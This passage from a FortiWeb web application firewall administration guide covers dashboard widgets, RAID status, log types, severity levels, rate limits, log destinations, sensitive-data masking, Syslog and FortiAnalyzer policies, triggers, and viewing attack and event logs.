If the server health check is mistakenly detecting that your web server is “down,” but it is actually “up,” verify that you have specified the correct SSL/TLS and port number settings for the web server in the server farm. Also verify that the web server is configured to respond

to the protocol configured in the server health check, and that connections are permitted by any intermediary network or host-based firewalls such as Windows Firewall.



Alternatively, to monitor the statuses of web servers, you can use SNMP traps. For details, see [“SNMP traps & queries” on page 567](#).

Policy Sessions widget

The *Policy Sessions* widget on the dashboard displays the number of HTTP/HTTPS sessions that are currently governed by each policy.

Figure 60: *Policy Sessions* widget

Policy Sessions		
#	Policy Name	Session
1	policy1	1

The *Policy Name* column shows the name of the policy. For information on policies, see [“How operation mode affects server policy behavior” on page 452](#).

The *Session* column shows the total number of sessions currently being governed by the policy. To display TCP/IP details such as the client’s source IP address and port number and the web server or FortiWeb virtual server’s destination IP address and port number, click the hyperlinked number.

Operation widget

The *Operation* widget on the dashboard displays the:

- “up” (cable plugged in, indicated by green) or
- “down” (cable unplugged, indicated by grey)

link status of each physical network interface (or, for FortiWeb-VM, virtual adapter).




The detected physical link status indicator does **not** indicate whether you have administratively enabled or disabled the network interface. To bring up or bring down a network interface, see [“Network interface or bridge?” on page 109](#).

On hardware FortiWeb appliances such as the FortiWeb-3000C (but **not** FortiWeb-VM), if you hover your mouse cursor over a link icon, a yellow tool tip box appears that contains additional information:

- name (e.g. port1)
- link speed (e.g. 1000 Mbps/Full Duplex)
- the IP address and subnet mask
- packets sent (Tx) and received (Rx)

Figure 61:Operation widget



Button	Description
Reboot	Click to halt and restart the operating system of the FortiWeb appliance.
Shut Down	Click to halt the operating system of the FortiWeb appliance, preparing its hardware to be powered off.
Reset	Click to revert the configuration of the FortiWeb appliance to the default values for its currently installed firmware version. Caution: Back up the configuration before selecting <i>Reset</i> . This operation cannot be undone. Configuration changes made since the last backup will be lost. For instructions on backing up the configuration, see “Restoring a previous configuration” on page 208 .

See also

- [Network interface or bridge?](#)

RAID level & disk statuses

When available, *System > Config > RAID* enables you to view the status of the redundant array of independent disks (RAID) that the FortiWeb appliance uses to store most of its data, including logs, reports, auto-learning data, and web site backups for anti-defacement.

RAID is supported on FortiWeb 1000B, 1000C, and 3000C models that originally shipped with the firmware version FortiWeb 4.0 MR1 or later.



On older appliances that have been upgraded to FortiWeb 4.0 MR1, you may be able to see this part of the web UI, but RAID is **not** activated, and the disk status is will always be *Not Present*.



FortiWeb-VM does not support RAID from within the virtual appliance. However, depending on your hypervisor’s storage repository, you can configure the hypervisor to store its data on a SAN or external RAID. To manage your storage repository, see the documentation for your hypervisor.

Currently, only RAID level 1 is supported, and cannot be changed. RAID level 1 is also known as “mirroring,” and writes all data twice — each drive is an exact copy of the other. This does **not** increase disk write speed via striping, nor detection and correction of errors via parity. However,

it does improve availability by reducing the overall hardware failure rate of the RAID: the chance that both disks together will fail is much lower than the chance of failure of a single disk.



Rebuilding RAID after a disk failure will result in some loss of data in packet payloads retained with corresponding logs.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *System Configuration* category. For details, see [“Permissions” on page 46](#).

Logging

To diagnose problems or track actions that the FortiWeb appliance performs as it receives and processes traffic, configure the FortiWeb appliance to record log messages.

Log messages can record attack, system, and/or traffic events. They are also the source of information for alert email and many types of reports.

When you configure protection profiles, many components include an *Action* option that determines the response to a detected violation. Actions combine with severity levels and trigger policies to determine whether and where a log message, message on the *Attack Log Console* widget, SNMP trap, and/or alert email will be generated.

Figure 62: Dialog showing actions, severity level, and triggers that affect logging

	Action	Block Period	Severity	Trigger Action
☒ Cross Site Scripting	Period Block	60	High	Please Select
☐ Cross Site Scripting (Extended)	Alert	60	Medium	Please Select
☒ SQL Injection	Period Block	60	High	Please Select
☐ SQL Injection (Extended)	Alert	60	Medium	Please Select
☒ Generic Attacks	Period Block	60	High	Please Select
☒ Generic Attacks(Extended)	Period Block	60	Medium	Please Select
☒ Known Exploits	Period Block	60	High	Please Select
☒ Trojans	Period Block	60	Medium	Please Select
☒ Information Disclosure	Erase, no Alert	60	Low	Please Select
☒ Bad Robot	Alert	60	High	Please Select
☒ Credit Card Detection	Erase & Alert	60	High	Please Select

Credit Card Detection Threshold: 1

Custom Signature Group: Please Select

Buttons: OK, Cancel, Advanced Mode

Before logging will occur, however, you must first enable and configure it.

About logs & logging

FortiWeb appliances can log many different network activities and traffic including:

- overall network traffic
- system-related events including system restarts and HA activity
- matches of policies with *Action* set to a log-generating option such as *Alert*

Each type can be useful during troubleshooting or forensic investigation. For more information about log types, see [“Log types” on page 530](#).

You can select a priority level that log messages must meet in order to be recorded. For more information, see [“Log severity levels” on page 531](#).

For a detailed description of each FortiWeb log message, as well as log message structure, see the FortiWeb [Log Message Reference](#).

The FortiWeb appliance can save log messages to its memory, or to a remote location such as a Syslog server or FortiAnalyzer appliance. For more information, see [“Configuring logging” on page 532](#). The FortiWeb appliance can also use log messages as the basis for reports. For more information, see [“Reports” on page 572](#).

The FortiWeb appliance also displays event and attack log messages on the dashboard. For more information, see [“Attack Log Console widget” on page 523](#) and [“Event Log Console widget” on page 525](#).

See also

- [Log types](#)
- [Log severity levels](#)
- [Configuring logging](#)
- [Viewing log messages](#)

Log types

Each log message contains a *Type* (type) field that indicates its category, and in which log file it is stored.

FortiWeb appliances can record the following categories of log messages:

Table 48: Log types

Log type	Description
Event	Displays administrative events, such as downloading a backup copy of the configuration, and hardware failures.
Traffic	Displays traffic flow information, such as HTTP/HTTPS requests and responses.
Attack	Displays attack and intrusion attempt events.



Avoid recording highly frequent log types such as traffic logs to the local hard disk for an extended period of time. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.

Log severity levels

Each log message contains a *Severity* (*pri*) field that indicates the severity of the event that caused the log message, such as *pri=warning*.

Table 49: Log severity levels

Level (0 is greatest)	Name	Description
0	Emergency	The system has become unusable.
1	Alert	Immediate action is required.
2	Critical	Functionality is affected.
3	Error	An error condition exists and functionality could be affected.
4	Warning	Functionality could be affected.
5	Notification	Information about normal events.
6	Information	General information about system operations.

For each location where the FortiWeb appliance can store log files (disk, memory, Syslog or FortiAnalyzer), you can define a severity threshold. The FortiWeb appliance will store all log messages equal to or exceeding the log severity level you select.

For example, if you select *Error*, the FortiWeb appliance will store log messages whose log severity level is *Error*, *Critical*, *Alert*, and *Emergency*.



Avoid recording log messages using low log severity thresholds such as information or notification to the local hard disk for an extended period of time. A low log severity threshold is one possible cause of frequent logging. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.

For more information, see [“Configuring log destinations” on page 536](#).

Log rate limits

When FortiWeb is defending your network against a DoS attack, the last thing you need is for performance to decrease due to logging, compounding the effects of the attack. By the nature of the attack, these log messages will likely be repetitive anyway. Similarly, repeated attack log messages when a client has become subject to a period block yet continues to send requests is of little value, and may actually be distracting from other, unrelated attacks.

To optimize logging performance and help you to notice important new information, within a specific time frame, FortiWeb will only make one log entry for these repetitive events. It will **not** log every occurrence.

- *Period Block*
Make 1 log per 3600 seconds per HTTP session cookie or client IP.
- *DoS Protection > Application > HTTP Access Limit* **and**
Web Protection > Advanced Protection > Custom Rule
 - If *Action* is *Alert* or *Alert & Deny*, make 1 log / second / client IP.
 - If *Action* is *Period Block*, make 1 log / block period / client IP.
- *DoS Protection > Application > HTTP Flood*
 - If *Action* is *Alert* or *Alert & Deny*, make 1 log / 2 seconds / HTTP session cookie.
 - If *Action* is *Period Block*, make 1 log / block period / HTTP session cookie.
- *DoS Protection > Application > Malicious IPs*
 - If *Action* is *Alert* or *Alert & Deny*, make 1 log / 3600 seconds / HTTP session cookie, assuming at least one TCP connection from the attack remains open. If all connections close, then new connections resume the attack, which still use the same HTTP session cookie, FortiWeb will make a second, new attack log entry, even though 3600 seconds has not yet elapsed since the attack began.
 - If *Action* is *Period Block*, make 1 log / block period / HTTP session cookie.
- *DoS Protection > Network > TCP Flood Prevention*
 - If *Action* is *Alert* or *Alert & Deny*, make 1 log / 3600 seconds / client IP, assuming at least one TCP connection from the attack remains open. If all connections close, then new connections resume the attack, FortiWeb will make a second, new attack log entry, even though 3600 seconds has not yet elapsed since the attack began.
 - If *Action* is *Period Block*, make 1 log / 3600 seconds / client IP.
- *DoS Protection > Network > Syn Cookie*
Make 1 log per continuous TCP SYN flood.

Configuring logging

You can configure the FortiWeb appliance to store log messages either locally (that is, in RAM or to the hard disk) and or remotely (that is, on a Syslog server or FortiAnalyzer appliance). Your choice of storage location may be affected by several factors, including the following.

- Rebooting the FortiWeb appliance clears logs stored in memory.
- Logging only locally may not satisfy your requirements for off-site log storage.
- Attack logs and traffic logs cannot be logged to local memory.
- Very frequent logging may cause undue wear when stored on the local hard drive. A low severity threshold is one possible cause of frequent logging. For more information on severity levels, see [“Log severity levels” on page 531](#).
- Very frequent logging, such as when the severity level is low, may rapidly consume all available log space when stored in memory. If the available space is consumed, and if the FortiWeb appliance is configured to do so, it may store any new log message by overwriting the oldest log message. For high traffic volumes, this may occur so rapidly that you cannot view old log messages before they are replaced.
- Usually, fewer log messages can be stored in memory. Logging to a Syslog server or FortiAnalyzer appliance may provide you with additional log storage space.

For information on viewing locally stored log messages, see [“Viewing log messages” on page 544](#).

To configure logging

1. Set the severity level threshold that log messages must meet or exceed in order to be sent to each log storage device. If you will store logs remotely, also configure connectivity information such as the IP address. See [“Configuring log destinations” on page 536](#), [“Configuring Syslog settings” on page 541](#), and [“Configuring FortiAnalyzer policies” on page 542](#).
2. Group Syslog and FortiAnalyzer settings and select those groups in *Trigger Action* settings throughout the configuration of web protection features. See [“Configuring triggers” on page 544](#).
3. Enable logging in general. See [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#).
4. If you want to log attacks, select an *Alert* option as the *Action* setting when configuring attack protection.
5. Monitor your log messages via the web UI or through alert email for events that require action from network administrators. See [“Viewing log messages” on page 544](#) and [“Alert email” on page 563](#). Configure reports that are derived from log data to review trends in your network. See [“Reports” on page 572](#).

Enabling log types, packet payload retention, & resource shortage alerts

You can enable or disable logging for each log type, as well as configure system alert thresholds, and which policy violations should cause the appliance to retain the TCP/IP packet payload (HTTP headers and a portion of the HTTP body, if any) that can be viewed with its corresponding log message.

For more information on log types, see [“Log types” on page 530](#).

To enable logging

1. Go to *Log&Report > Log Config > Other Log Settings*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).

2. Configure these settings:

Other Log Settings

Enable Attack Log
☒

Enable Traffic Log
☐

Enable Traffic Packet Log
☐

Enable Event Log
☒

Retain Packet Payload For

Parameter Rule Violation
☒

Bad Robot Detection
☒

Allow Robot Detection
☐

Hidden Fields Violation
☒

Custom Signature Detection
☒

HTTP Protocol Constraints
☒

Signature Detection
☒

Anti Virus Detection
☒

Custom Access Violation
☒

Illegal XML Format
☒

IP Intelligence Violation
☒

System Alert Thresholds

Persistent Server Session

70% ▼

CPU Utilization

80 (60~99)

Memory Utilization

80 (60~99)

Trigger Policy

notification-servers1 ▼

Apply

Setting name	Description
Enable Attack Log	Enable to log violations of attack policies, such as server information disclosure and attack signature matches, if that feature is configured such that <i>Action</i> is set to <i>Alert</i> , <i>Alert & Deny</i> , or <i>Alert & Erase</i> .
Enable Traffic Log	Enable to log traffic events such as HTTP requests and responses, and the expiration of HTTP sessions. Tip: Because resources for this feature increase as your traffic increases, if you do not need traffic data, disable this feature to improve performance.

Setting name	Description
Enable Traffic Packet Log	Enable to retain the packet payloads of all HTTP request traffic. Unlike attack packet payloads, only HTTP request traffic packets are retained (not HTTP responses), and only the first 4 KB of the payload. Packet payloads supplement the log message by providing the actual request body, which may help you to fine-tune your regular expressions to prevent false negatives, or to examine changes to attack behavior for subsequent forensic analysis. To view packet payloads, see “Viewing packet payloads” on page 550. Tip: Retaining traffic packet payloads is resource intensive. To improve performance, only enable this option while necessary.
Enable Event Log	Enable to log local events, such as administrator logins or rebooting the FortiWeb appliance.
Retain Packet Payload For	Mark the check boxes of the attack types or validation failures to retain packet information for applicable packets. Packet retention is enabled by default for most types. Packet payloads supplement the log message by providing part of the actual data that matched the regular expression, which may help you to fine-tune your regular expressions to prevent false positives, or to examine changes to attack behavior for subsequent forensic analysis. To view packet payloads, see “Viewing packet payloads” on page 550. If packet payloads could contain sensitive information, you may need to obscure those elements. For details, see “Obscuring sensitive data in the logs” on page 539. Note: FortiWeb retains only the first 4 KB of data from the offending HTTP request payload that triggered the log message. If you require forensic analysis of, for example, buffer overflow attacks that would exceed this limit, you must implement it separately.
Persistent Server Session	Select a threshold for the percentage (50% to 90%, at increments of 10%) of maximum allowed persistent server sessions that will trigger an event log entry. For example, if this option is set to 50%, and the maximum number of persistent server sessions is 15,000, an event log will be recorded when the actual number of persistent sessions reaches 50% of the maximum number (7,500 persistent server sessions). For specifications of your appliance’s maximum, see “Appendix B: Maximum configuration values” on page 654. Tip: You can limit each policy’s persistent server sessions using the Persistent Server Sessions option.
CPU Utilization	Select a threshold level (60% to 99%) beyond which CPU usage will trigger an event log entry.
Memory Utilization	Select a threshold level (60% to 99%) beyond which memory usage will trigger an event log entry.
Trigger Action	Select an trigger, if any, to use when memory usage, CPU usage or persistent server sessions reach or exceeds their specified threshold.

3. Click *Apply*.

See also

- [Configuring log destinations](#)
- [Viewing log messages](#)
- [Viewing packet payloads](#)
- [Downloading log messages](#)
- [Obscuring sensitive data in the logs](#)

Configuring log destinations

You can choose and configure the storage methods for log information, and/or email alerts when logs have occurred.



Alert email can be enabled here, but must be configured separately first. See [“Alert email” on page 563](#).

For logging accuracy, you should verify that the FortiWeb appliance’s system time is accurate. For details, see [“Setting the system time & date” on page 89](#).



Avoid recording highly frequent log types such as traffic logs to the local hard disk for an extended period of time. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.

To configure log settings

1. Go to *Log&Report > Log Config > Global Log Settings*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).

2. Configure these settings:

Global Log Settings

▼ ☒ **Disk**
 Log Level
 When log disk is full
 ▼ Log rolling settings
 Log file should not exceed MB

▼ ☒ **Memory**
 Log Level

▼ ☒ **Syslog**
 Syslog Policy
 Log Level
 Facility

▼ ☐ **Alert Mail**
 Email Policy

▼ ☐ **FortiAnalyzer**
 Log Level
 FortiAnalyzer Policy

Apply

Setting name	Description
Disk	Enable to record log messages to the local hard disk on the FortiWeb appliance. If the FortiWeb appliance is logging to its hard disk, you can use the web UI to view log messages stored locally on the FortiWeb appliance. For details, see “Viewing log messages” on page 544.
Log Level	Select the severity level that a log message must equal or exceed in order to be recorded to this storage location. For information about severity levels, see “Log severity levels” on page 531. Caution: Avoid recording log messages using low severity thresholds such as information or notification to the local hard disk for an extended period of time. A low log severity threshold is one possible cause of frequent logging. Excessive logging frequency can cause undue wear on the hard disk and may cause premature failure.
When log disk is full	Select what the FortiWeb appliance will do when the local disk is full and a new log message occurs, either: • Do not log — Discard the new log message. • Overwrite oldest logs — Delete the oldest log file in order to free disk space, then store the new log message in a new log file.
Log rolling settings	

Setting name	Description
	Log file should not exceed <i>n</i> MB Type the maximum file size of the current log file. When the current log file reaches its maximum size, the next log message received will begin a new, separate file. The valid range is between 10 MB and 200 MB.
Memory	Enable to record log messages in the local random access memory (RAM) of the FortiWeb appliance. If the FortiWeb appliance is logging to memory, you can use the web UI to view log messages that are stored locally on the FortiWeb appliance. For details, see “Viewing log messages” on page 544. Note: Only event logs can be stored in the local memory. Attack and traffic logs cannot be stored in memory. Caution: Log messages stored in memory should not be regarded as permanent. All log entries stored in memory are cleared when the FortiWeb appliance restarts. When available memory space for log messages is full, the FortiWeb appliance will store any new log message by overwriting the oldest log message. Log Level Select the severity level that a log message must equal or exceed in order to be recorded to this storage location. For information about severity levels, see “Log severity levels” on page 531.
Syslog	Enable to store log messages remotely on a Syslog server. Caution: Enabling <i>Syslog</i> could result in excessive log messages being recorded in Syslog. Syslog entries are controlled by Syslog policies and trigger actions associated with various types of violations. If this option is enabled, but a trigger action is not selected for a specific type of violation, every occurrence of that violation will be transmitted to the Syslog server in the Syslog Policy field. Note: Logs stored remotely cannot be viewed from the FortiWeb web UI. Syslog Policy Select the settings to use when storing log messages remotely. The Syslog settings include the address of the remote Syslog server and other connection settings. For more information see “Configuring Syslog settings” on page 541. Log Level Select the severity level that a log message must equal or exceed in order to be recorded to this storage location. For information about severity levels, see “Log severity levels” on page 531. Facility Select the facility identifier that the FortiWeb appliance will use to identify itself when sending log messages to the first Syslog server. To easily identify log messages from the FortiWeb appliance when they are stored on the Syslog server, enter a unique facility identifier, and verify that no other network devices use the same facility identifier.

Setting name	Description
FortiAnalyzer	Enable to store log messages remotely on a FortiAnalyzer appliance. FortiAnalyzer entries are controlled by FortiAnalyzer policies and trigger actions associated with various types of violations. If this option is enabled, but a trigger action has not been selected for a specific type of violation, every occurrence of that violation will be recorded to the FortiAnalyzer specified in FortiAnalyzer Policy. Note: Before enabling this option, verify that log frequency is not too great. If logs are very frequent, enabling this option could decrease performance and cause the FortiWeb appliance to send many log messages to FortiAnalyzer. Note: Logs stored remotely cannot be viewed from the FortiWeb web UI. FortiAnalyzer Policy Select the settings to use when storing log messages remotely. FortiAnalyzer settings include the address and other connection settings for the remote FortiAnalyzer. For more information see “Configuring FortiAnalyzer policies” on page 542. Log Level Select the severity level that a log message must equal or exceed in order to be recorded to this storage location. For information about severity levels, see “Log severity levels” on page 531.

3. Click *Apply*.
4. Enable the log types that you want your log destinations to receive. See [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#).

See also

- [Configuring log destinations](#)
- [Viewing log messages](#)
- [Downloading log messages](#)
- [Enabling log types, packet payload retention, & resource shortage alerts](#)
- [Alert email](#)
- [Configuring Syslog settings](#)
- [Configuring FortiAnalyzer policies](#)

Obscuring sensitive data in the logs

You can configure the FortiWeb appliance to hide certain predefined data types, including user names and passwords, that could appear in the packet payloads accompanying a log message. You can also define and include your own sensitive data types, such as ages (relevant if you are required to comply with [COPPA](#)) or other identifying numbers, using regular expressions.



Sensitive data definitions are **not** retroactive. They will hide strings in subsequent log messages, but will not affect existing ones.

To exclude custom sensitive data from log packet payloads

1. Go to *Log&Report > Log Config > Log Custom Sensitive Rule*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see ["Permissions" on page 46](#).

2. On the top right side of the page, mark one or both of the following check boxes:
 - *Enable Predefined Rules* — Use the predefined credit card number and password data types. See ["Predefined suspicious request URLs" on page 170](#).
 - *Enable Custom Rules* — Use your own regular expressions to define sensitive data. See ["Grouping custom suspicious request URLs" on page 172](#).
3. Click *Create New*.

A dialog appears.

Edit Custom Sensitive Rule

Name: Age Check

☐ General Mask

☒ Field Mask

Field Name: age

Field Value: [1-13]

(Need to be masked)

OK Cancel

4. In *Name*, type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

5. Select either *General Mask* (a regular expression that will match any substring in the packet payload) or *Field Mask* (a regular expression that will match only the value of a specific form input).

- In the field next to *General Mask*, type a regular expression that matches all the strings or numbers that you want to obscure in the packet payloads.

For example, to hide a parameter that contains the age of users under 14, you could enter:

```
age\[1-13]
```

Valid expressions must not start with an asterisk (*). The maximum length is 255 characters.

- For *Field Mask*, in the left-hand field (*Field Name*), type a regular expression that matches all and only the input names whose values you want to obscure. (The input name itself will **not** be obscured. If you wish to do this, use *General Mask* instead.) Then, in the right hand field (*Field Value*), type a regular expression that matches all input values that you want to obscure. Valid expressions must not start with an asterisk (*). The maximum length is 255 characters.

For example, to hide a parameter that contains the age of users under 14, for *Field Name*, you would enter `age`, and for *Field Value*, you could enter `[1-13]`.



Field masks using asterisks are greedy: a match for the parameter's value will obscure it, but will **also** obscure the rest of the parameters in the line. To avoid this, enter an expression whose match terminates with, but does not consume, the parameter separator.

For example, if parameters are separated with an ampersand (&), and you want to obscure the value of the *Field Name* `username` but **not** any of the parameters that follow it, you could enter the *Field Value*:

```
. * ? ( ? = \ & )
```

This would result in:

```
username****&age=13&origurl=%2Flogin
```



To test a regular expression, click the >> (test) button. This opens the *Regular Expression Validator* window where you can fine-tune the expression (see [“Regular expression syntax” on page 658](#))

6. Click OK.

The expression appears in the list of regular expressions that define sensitive data that will be obscured in the logs.

When viewing new log messages, data types matching your expression are replaced with a string of asterisks.

Configuring Syslog settings

In order to store log messages remotely on a Syslog server, you must first create the Syslog connection settings.

Syslog settings can be referenced by a trigger, which in turn can be selected as the trigger action in a protection profile, and used to send log messages to your Syslog server whenever a policy violation occurs.



Logs stored remotely cannot be viewed from the FortiWeb web UI. If you require the ability to view logs from the web UI, also enable local storage. For details, see [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#).

To configure Syslog policies

1. Before you can log to Syslog, you must enable it for the log type that you want to use as a trigger. For details, see [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#).
2. Go to *Log&Report > Log Policy > Syslog Policy*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.
4. If the policy is new, in *Policy Name*, type the name of the policy as it will be referenced in the configuration.
5. In *IP Address*, enter the address of the remote Syslog server.
6. In *Port*, enter the listening port number of the Syslog server. The default is 514.
7. Mark the *Enable CSV Format* check box if you want to send log messages in comma-separated value (CSV) format.
8. Click *OK*.
9. To verify logging connectivity, from the FortiWeb appliance, trigger a log message that matches the types and severity levels that you have chosen to store on the remote host. Then, on the remote host, confirm that it has received that log message.

If the remote host does not receive the log messages, verify the FortiWeb appliance’s network interfaces (see [“Configuring the network interfaces” on page 111](#)) and static routes (see [“Adding a gateway” on page 123](#)), and the policies on any intermediary firewalls or routers. If ICMP is enabled on the remote host, try using the `execute traceroute` command to determine the point where connectivity fails. For details, see the [FortiWeb CLI Reference](#).

See also

- [Configuring log destinations](#)
- [Viewing log messages](#)
- [Enabling log types, packet payload retention, & resource shortage alerts](#)
- [Configuring triggers](#)
- [Configuring log destinations](#)
- [Obscuring sensitive data in the logs](#)

Configuring FortiAnalyzer policies

Before you can store log messages remotely on a FortiAnalyzer appliance, you must first create FortiAnalyzer connection settings.

Once you create FortiAnalyzer connection settings, it can be referenced by a trigger, which in turn can be selected as a trigger action in a protection profile, and used to record policy violations.



Logs stored remotely cannot be viewed from the web UI of the FortiWeb appliance. If you require the ability to view logs from the web UI, also enable local storage. For details, see [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#).

To configure FortiAnalyzer policies

1. Before you can log to FortiAnalyzer, you must enable logging for the log type that you want to use as a trigger. For details, see [“Enabling log types, packet payload retention, & resource shortage alerts” on page 533](#).
2. Go to *Log&Report > Log Policy > FortiAnalyzer Policy*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.

A dialog appears.

Create FortiAnalyzer Policy	
Policy Name	FortiAnalyzer-Storage
IP Address	172.20.120.25
OK Cancel	

4. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. In *IP Address*, type the address of the remote FortiAnalyzer appliance.
6. Click *OK*.
7. Confirm with the FortiAnalyzer administrator that the FortiWeb appliance was added to the FortiAnalyzer appliance’s device list, allocated sufficient disk space quota, and assigned permission to transmit logs to the FortiAnalyzer appliance. For details, see the [FortiAnalyzer Administration Guide](#).
8. To verify logging connectivity, from the FortiWeb appliance, trigger a log message that matches the types and severity levels that you have chosen to store on the remote host. Then, on the remote host, confirm that it has received that log message.

If the remote host does not receive the log messages, verify the FortiWeb appliance’s network interfaces (see [“Configuring the network interfaces” on page 111](#)) and static routes (see [“Adding a gateway” on page 123](#)), and the policies on any intermediary firewalls or routers. If ICMP ECHO_RESPONSE (pong) is enabled on the remote host, try using the `execute traceroute` command to determine the point where connectivity fails. For details, see the [FortiWeb CLI Reference](#).

See also

- [Configuring log destinations](#)
- [Viewing log messages](#)
- [Enabling log types, packet payload retention, & resource shortage alerts](#)
- [Configuring triggers](#)
- [Obscuring sensitive data in the logs](#)

Configuring triggers

Triggers are sets of notification servers (Syslog, FortiAnalyzer, and alert email) that you can select in protection rules. The FortiWeb appliance will contact those servers when traffic violates the policy and therefore triggers logging and/or alert email.



You can also receive security event notification via SNMP. See [“SNMP traps & queries” on page 567](#).

For example, if you create a trigger that contains email and Syslog settings, that trigger can be selected as the trigger action for specific violations of a protection profile’s sub-rules. Alert email and Syslog records will be created according to the trigger when a violation of that individual rule occurs.

To configure triggers

1. Before you create a trigger, first create any settings it will reference, such as email, Syslog and/or FortiAnalyzer settings (see [“Configuring email settings” on page 563](#), [“Configuring Syslog settings” on page 541](#), and [“Configuring FortiAnalyzer policies” on page 542](#)).
2. Go to *Log&Report > Log Policy > Trigger Policy*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

New Trigger Policy	
Policy Name	Web_Protection_Trigger
Email Policy	Email-Policy1
Syslog Policy	Please Select...
FortiAnalyzer Policy	Please Select...
OK Cancel	

4. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Pick an existing policy from one or more of the three email, Syslog or FortiAnalyzer setting drop-down lists. FortiWeb will use these notification devices for all protection rule violations that use this trigger.
6. Click *OK*.
7. To apply the trigger, select it in the *Trigger Action* setting in a web protection feature, such as a hidden field rule, or an HTTP constraint on illegal host names.

Viewing log messages

You can use the web UI to view and download locally stored log messages. (You cannot use the web UI to view log messages that are stored remotely on Syslog or FortiAnalyzer devices.)

Depending on the type of log, some log messages cannot be viewed from the web UI.

Table 50: Availability of each log type via the web UI

Storage method	Log type		
	Event	Traffic	Attack
Local disk	Yes	Yes	Yes
Local memory	Yes	No	No
Syslog server	Yes	Yes	Yes
FortiAnalyzer	Yes	Yes	Yes

Log messages are in human-readable format, where each column's name, such as *Source* (src in *Raw* view), indicates its contents.

An attack's origin is not always the same as the IP that appears in your logs. Network address translation (NAT) at various points between a web browser and your web servers can mask the original IP address of the attacker. Depending on your configuration of [Use X-Header to Identify Original Client's IP](#), attack logs' *Source* column may contain the IP address of the client according to X-Forwarded-For: or a similar header in the HTTP layer, **not** the SRC field in the IP header. In that case, the corresponding traffic log's *Source* column will not match, since it reflects the IP layer. (Typically in that scenario, the connection has been relayed by a load balancer or proxy, and therefore the IP would be that of the load balancer, which is not the real origin of the attack.) Relatedly, if [Shared IP](#) is enabled, FortiWeb will attempt to differentiate innocent clients that share the same public address with an attacker according to the IP layer SRC field due to NAT.

Not all attack detections will be logged. In some cases, only one entry will be logged when there are many attack instances. See ["Log rate limits" on page 531](#). Relatedly, server information disclosure detections will not be logged if you have configured [Action](#) to be *Erase, no Alert*. See ["Blocking known attacks & data leaks" on page 377](#).

To view log messages

1. Go to one of the log types:

- *Log&Report > Log Access > Attack*
- *Log&Report > Log Access > Event*
- *Log&Report > Log Access > Traffic*

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see ["Permissions" on page 46](#).

Columns and appearance varies slightly by the log type. For details on structure or interpretations of and troubleshooting suggestions for individual log messages, see the [FortiWeb Log Reference](#).

Initially, the page displays the most recent log messages for that log type. Contents of the *Message* column may vary by your selection of *Raw* or *Formatted* view.



In FortiWeb HA clusters, log messages are recorded on their originating appliance. If you notice a gap in the logs, a failover may have occurred. Logs during that period will be stored on the other appliance. To view those logs, switch to the other appliance.

Table 51: Log&Report > Log Access > Event

Refresh

Column Settings

Raw

Filter Settings

Log Management

#	Date	Time	Time Zone	ID	Type	Sub Ty	Level	Message
1	2011-10-04	12:37:47	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	Fail	Fail to connect to website local-host.example.com (host is 172.20.120.46)
2	2011-10-04	12:36:36	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	Fail	Fail to connect to website local-host.example.com (host is 172.20.120.46)
3	2011-10-04	12:35:24	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	Fail	Fail to connect to website local-host.example.com (host is 172.20.120.46)
4	2011-10-04	12:35:03	(GMT-5:00)Eastern Time(US & Canada)	00032006	event	admin	Success	User admin login successfully from GUI(172.20.120.46)
5	2011-10-04	12:35:01	(GMT-5:00)Eastern Time(US & Canada)	00032009	event	admin	Fail	User asd login failed from GUI(172.20.120.46)
6	2011-10-04	12:34:59	(GMT-5:00)Eastern Time(US & Canada)	00032007	event	admin	Success	User admin logs out from GUI(172.20.120.46)
7	2011-10-04	12:34:13	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	Fail	Fail to connect to website local-host.example.com (host is 172.20.120.46)

Log Location: Event Log

View 30 per page

Line: 1 / 10107

1 / 337

Button	Description
Refresh	Click to update the page with any logs that have been recorded since you previously loaded the page.
Column Settings	Click to display or hide the columns that correspond to log fields, or change the order in which they appear on the page. For more information, see “Displaying & arranging log columns” on page 553 .
Raw or Formatted	Click to toggle between a <i>Raw</i> and <i>Formatted</i> view of the log information. The raw view displays the log message as it actually appears in the log file. The formatted view displays the log message in a columnar format. Click to switch the log information view to that opposite of what is currently displayed. For details on both view types, see “Switching between Raw & Formatted log views” on page 551 .
Clear All Filters	Click this icon to clear all log view filters. For details on log view filters, see “Filtering log messages” on page 554 .
Log Management	Click to download, delete, or view the contents of a log file.

Table 52: Log&Report > Log Access > Attack

Log Management											
#	ID	Sub Type	HTTP Host	URL	Date	Time	Source	Destination	Policy	Message	
1	00070010	waf_signature_detection	172.20.120.170	/mantis/bugnote_update.php	2012-06-07	10:12:58	172.20.120.46	172.20.120.170	policy1	SQL Injection (Extended) : Signature ID 040000	
